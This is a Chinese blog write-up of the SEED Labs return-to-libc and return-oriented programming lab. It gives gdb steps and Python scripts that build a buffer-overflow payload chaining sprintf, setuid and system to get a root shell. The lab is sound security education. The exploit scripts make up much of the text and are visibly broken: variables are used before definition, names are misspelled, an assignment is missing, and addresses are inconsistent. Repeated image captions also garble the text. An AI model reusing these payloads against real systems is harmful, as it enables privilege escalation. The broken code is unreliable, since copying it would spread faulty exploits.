天天看點

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

本文為 SEED Labs 2.0 - Return-to-libc Attack Lab 的實驗記錄。

實驗原理

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

Task 1: Finding out the Addresses of libc Functions

關閉位址随機化

修改連結

$ sudo ln -sf /bin/zsh /bin/sh
           

使用 gdb調試

$ touch badfile
$ make
$ gdb -q retlib
gdb-peda$ break main
gdb-peda$ run
gdb-peda$ p system
gdb-peda$ p exit
gdb-peda$ quit
           

得到結果

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

Task 2: Putting the shell string in the memory

建立 MYSHELL 環境變量

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

編寫程式

prtenv.c

#include<stdlib.h>
#include<stdio.h>

void main(){
	char* shell = getenv("MYSHELL");
	if (shell)
	printf("%x\n", (unsigned int)shell);
}
           

編譯并運作。然後把上面的程式段加進 retlib.c 再次編譯運作。

由于 prtenv 和 retlib 都是 6 個字母,是以會得到同樣的結果,如下所示。

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

Task 3: Launching the Attack

根據前面得到的結果,将程式改為

#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = Y+8
sh_addr = 0xffffd403 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf4e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = Y+4
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
           

其中,Y 的值為

0xffffcd78

− - −

0xffffcd60

+ 4 +4 +4

運作,攻擊成功

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結
Attack variation 1: Is the

exit()

function really necessary? Please try your attack without including

the address of this function in badfile. Run your attack again, report and explain your observations.

根據 task 要求,我們将 exploit.py 中 exit 的部分注釋掉,然後重新運作。

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

發現可以正常提權,但退出時會崩潰。

Attack variation 2: After your attack is successful, change the file name of retlib to a different name,

making sure that the length of the new file name is different. For example, you can change it to newretlib.

Repeat the attack (without changing the content of badfile). Will your attack succeed or not? If it does

not succeed, explain why.

根據 task 要求,我們先将編譯後的二進制檔案改名為 rrtlib,提權成功

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

在改為 newretlib,提權不成功

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

由此可見,這與程式名的長度有關。

Task 4: Defeat Shell’s countermeasure

改回連結

$ sudo ln -sf /bin/dash /bin/sh
           

為了使攻擊更加友善,我們直接使用 ROP。首先擷取所需要的 libc 函數位址

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

然後

disas bof

擷取

bof()

函數傳回位址

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

同時我們還有 retlib 列印出的

bof()

函數 ebp 位置和 MYSHELL 位址,根據這些修改 exploit.py

# !/usr/bin/python3
import sys

def tobytes (value):
    return (value).to_bytes(4, byteorder= 'little')

content bytearray(0xaa for i in range (24))

sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58

# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20

# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")

# Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)

# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
    ebp_next += 0x20
    content += tobytes(ebp_next)
    content += tobytes(sprintf_addr)
    content += tobytes(leaveret)
    content += tobytes(sprintf_arg1)
    content += tobytes(sprintf_arg2)
    content += b'A' * (0x20 - 5*4)
    sprintf_argl += 1

# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)

# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)

# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)

# Write the content to a file
with open("badfile", "wb") as f:
    f.write (content)
           

在上面的程式中,有以下幾點:

  • 先調用

    setuid(0)

    ,然後再調用

    system("/bin/sh")

    ,以繞過 countermeasure
  • 由于參數的 0 無法複制,是以我們調用四次

    sprintf()

    來生成 0

運作程式,可以看到成功提權

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

Task 5: Return-Oriented Programming

由于我們上一個 Task 已經使用了 ROP,是以這一個 Task 隻要稍作修改即可。

先擷取

foo()

位址

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

然後修改 exploit.py

# !/usr/bin/python3
import sys

def tobytes (value):
    return (value).to_bytes(4, byteorder= 'little')

content bytearray(0xaa for i in range (24))

sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58
foo_addr = 0x565562d0 # CHANGED!

# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20

# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")

# Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)

# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
    ebp_next += 0x20
    content += tobytes(ebp_next)
    content += tobytes(sprintf_addr)
    content += tobytes(leaveret)
    content += tobytes(sprintf_arg1)
    content += tobytes(sprintf_arg2)
    content += b'A' * (0x20 - 5*4)
    sprintf_argl += 1

# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)

for i in range(10): # CHANGED!
    ebp += 0x20
    content += tobytes(ebp_next)
    content += tobytes(foo_addr)
    content += tobytes(leveret)
    content += b'A'*(0x20-3*4)

# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)

# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)

# Write the content to a file
with open("badfile", "wb") as f:
    f.write (content)
           

運作程式,可以看到調用了 10 次

foo()

,并成功提權

【SEED Labs 2.0】Return-to-libc Attack and ROP實驗原理Task 1: Finding out the Addresses of libc FunctionsTask 2: Putting the shell string in the memoryTask 3: Launching the AttackTask 4: Defeat Shell’s countermeasureTask 5: Return-Oriented Programming實驗總結

實驗總結

實驗總體難度一般。Task1 - 3 依葫蘆畫瓢即可,沒有難度;Task4 難度較大,但我大炮轟蚊子,直接用 ROP 解決了 0 如何輸入的問題;由此一來,Task5 就很容易解決了。

繼續閱讀